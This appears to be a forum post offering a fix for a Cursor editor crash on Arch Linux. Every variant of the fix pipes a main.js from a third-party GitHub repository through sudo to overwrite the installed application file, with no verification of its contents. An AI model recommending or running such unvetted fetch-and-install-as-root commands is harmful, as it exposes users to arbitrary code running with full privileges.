Crash on Arch Linux Hyprland after updating to Cursor 1.6.23 (TypeError: Class constructor Fi cannot be invoked without 'new')

:police_car_light: Problem

The cursor-bin AUR package applies a titlebar patch that can break Cursor, causing it to fail to start with errors like:

TypeError: Class constructor Fi cannot be invoked without 'new'

:high_voltage: Quick Solution

Just copy and paste this into your terminal:

curl -fsSL https://raw.githubusercontent.com/dev-kraken/cursor-fix/main/main.js | sudo tee /usr/share/cursor/resources/app/out/main.js > /dev/null && echo "✅ Cursor fixed!"
# Simple fix
curl -fsSL https://raw.githubusercontent.com/dev-kraken/cursor-fix/main/main.js | sudo tee /usr/share/cursor/resources/app/out/main.js > /dev/null && echo "✅ Cursor fixed!"

:floppy_disk: Fix with Backup

# Create backup first, then fix
sudo cp /usr/share/cursor/resources/app/out/main.js /usr/share/cursor/resources/app/out/main.js.backup && \
curl -fsSL https://raw.githubusercontent.com/dev-kraken/cursor-fix/main/main.js | sudo tee /usr/share/cursor/resources/app/out/main.js > /dev/null && \
echo "✅ Cursor fixed with backup created!"

:globe_with_meridians: Alternative with wget

# If you prefer wget over curl
wget -qO- https://raw.githubusercontent.com/dev-kraken/cursor-fix/main/main.js | sudo tee /usr/share/cursor/resources/app/out/main.js > /dev/null && echo "✅ Cursor fixed!"

:white_check_mark: Fix with Verification

# Fix and test that it works
curl -fsSL https://raw.githubusercontent.com/dev-kraken/cursor-fix/main/main.js | sudo tee /usr/share/cursor/resources/app/out/main.js > /dev/null && \
cursor --version && \
echo "✅ Cursor fixed and working!"